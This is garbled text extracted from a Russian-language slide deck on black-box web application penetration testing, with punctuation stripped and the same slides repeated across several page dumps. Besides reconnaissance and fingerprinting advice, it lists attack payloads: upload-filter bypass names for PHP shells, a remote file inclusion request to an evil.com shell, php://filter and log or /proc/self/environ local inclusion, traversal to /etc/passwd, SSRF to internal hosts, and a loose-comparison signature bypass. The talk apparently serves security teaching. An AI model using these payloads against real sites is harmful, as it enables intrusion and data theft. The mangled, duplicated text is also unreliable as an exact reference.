php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 6: Blackbox-тестирование веб-приложений

Анализ защищённости

bull Белым ящикомndash Об объекта анализа известно всёndash Есть исходные тексты карты сети и т д

bull Чёрным ящикомndash Известны только точки входа (или даже их нет)ndash Заказчик не выдаёт информацию

bull Серый ящикndash На практике всегда что-то среднееndash Например есть учётные записи но нет исходных

текстов

Почему black box

bull Модель атаки близкая к чёрному ящику наиболее точно воспроизводит действия большинства злоумышленников

bull Если что-то удалось взломать чёрным ящиком то белым ящиком это будет ещё проще

bull Заказчики часто просто не хотят доверять доступ к исходникам своих продуктов или к серверам с конфиденциальной информацией

План

bull Первая частьndash Приёмы разведки (reconnaissance)ndash Определение используемых технологийndash (Тихий) сбор информацииndash Быстрый поверхностный анализ (fuzzing)

bull Вторая частьndash Некоторые уязвимости PHPndash Тестирование интерфейсов загрузки файловndash Уязвимости типа file inclusionndash Уязвимости механизмов десериализации

Первые шагиbull Перед Вами веб-приложение Что делать

Первые шаги

Первые шаги

bull Включаем локальный прокси-сервер (Burp Suite OWASP ZAP hellip)

bull Гуляем по сайтуbull Смотрим на запросы в логах прокси-

сервераbull Смотрим на HTTP-заголовки и содержимое

ответов

Главные идеи

bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)

bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)

Распознавание платформbull Веб-серверы часто оставляют подпись в

HTTP-заголовке Serverbull Также есть специфичные запросы

например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server

bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)

Распознавание платформ

bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно

bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных

bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo

Распознавание платформ

bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом

bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework

bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework

bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious

Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt

CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию

установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS

(например у Bitrix)bull Часто название CMS написано в атрибуте generator

HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla

dle_root =gt DataLife Engine wp-content =gt WordPress и т д

Сбор информации

bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip

bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip

bull Перебор файлов и директорий по словарю

Сбор информации

bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql

bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым

Сбор информации

bull Анализ веб-приложения часто осложняется использованием технологий web 20

bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных

bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)

bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL

Сбор информации

bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием

bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413

bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария

Сбор информацииbull Следующим шагом является получение списка

параметров веб-приложения (POST GET Cookie а также заголовки)

bull Их можно угадать исходя из структуры используемых на сайте ссылок

bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск

bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и

размерусодержимому HTTP-ответа

Быстрый fuzzing

bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)

bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя

bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта

Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для

black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество

получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление

универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-

инъекции а также различные виды иных инъекций кода

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 7: Blackbox-тестирование веб-приложений

Почему black box

bull Модель атаки близкая к чёрному ящику наиболее точно воспроизводит действия большинства злоумышленников

bull Если что-то удалось взломать чёрным ящиком то белым ящиком это будет ещё проще

bull Заказчики часто просто не хотят доверять доступ к исходникам своих продуктов или к серверам с конфиденциальной информацией

План

bull Первая частьndash Приёмы разведки (reconnaissance)ndash Определение используемых технологийndash (Тихий) сбор информацииndash Быстрый поверхностный анализ (fuzzing)

bull Вторая частьndash Некоторые уязвимости PHPndash Тестирование интерфейсов загрузки файловndash Уязвимости типа file inclusionndash Уязвимости механизмов десериализации

Первые шагиbull Перед Вами веб-приложение Что делать

Первые шаги

Первые шаги

bull Включаем локальный прокси-сервер (Burp Suite OWASP ZAP hellip)

bull Гуляем по сайтуbull Смотрим на запросы в логах прокси-

сервераbull Смотрим на HTTP-заголовки и содержимое

ответов

Главные идеи

bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)

bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)

Распознавание платформbull Веб-серверы часто оставляют подпись в

HTTP-заголовке Serverbull Также есть специфичные запросы

например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server

bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)

Распознавание платформ

bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно

bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных

bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo

Распознавание платформ

bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом

bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework

bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework

bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious

Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt

CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию

установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS

(например у Bitrix)bull Часто название CMS написано в атрибуте generator

HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla

dle_root =gt DataLife Engine wp-content =gt WordPress и т д

Сбор информации

bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip

bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip

bull Перебор файлов и директорий по словарю

Сбор информации

bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql

bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым

Сбор информации

bull Анализ веб-приложения часто осложняется использованием технологий web 20

bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных

bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)

bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL

Сбор информации

bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием

bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413

bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария

Сбор информацииbull Следующим шагом является получение списка

параметров веб-приложения (POST GET Cookie а также заголовки)

bull Их можно угадать исходя из структуры используемых на сайте ссылок

bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск

bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и

размерусодержимому HTTP-ответа

Быстрый fuzzing

bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)

bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя

bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта

Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для

black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество

получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление

универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-

инъекции а также различные виды иных инъекций кода

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

